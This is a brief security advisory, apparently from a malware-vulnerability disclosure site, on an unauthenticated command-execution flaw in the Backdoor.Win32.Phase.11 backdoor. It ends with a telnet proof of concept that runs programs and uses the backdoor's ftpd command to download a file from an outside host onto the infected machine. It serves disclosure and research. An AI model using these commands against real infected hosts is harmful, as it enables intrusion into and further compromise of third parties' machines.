Original source: https://malvuln.com/advisory/fb4fb710f031304d788d9cd1c4201552.txt
Contact:
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Threat: Backdoor.Win32.Phase.11
Vulnerability: Unauthenticated Remote Command Execution
Description: The phAse zero server v1.1 by njord of kr0me corp
listens on TCP port 555. Third-party attackers who can reach an
infected system can run commands made available by the malware and
execute arbitrary programs further compromising the host. Using
telnet to connect worked best, to start programs you need to pass
an "S" argument preceding the program name like... EXEC S
PROGRAM_NAME. Other commands are CURDIR, SHOWMSG etc. The ftpd
command can also be initiated to third-party FTP servers to
download tools to the infected host.
Type: PE32
MD5: fb4fb710f031304d788d9cd1c4201552
Vuln ID: MVID-2021-0428
Disclosure: 12/12/2021
Exploit/PoC:
telnet.exe MALWARE_HOST 555
phAse zero server v1.1 by njord of kr0me corp
access granted, at your commands
EXEC S "calc"
ftpd anonymous anonymous 192.168.18.128 . DOOM.exe
contacting 192.168.18.128 ...
host contacted, transferring file
CURDIR
c:\dump
SHOWMSG hate
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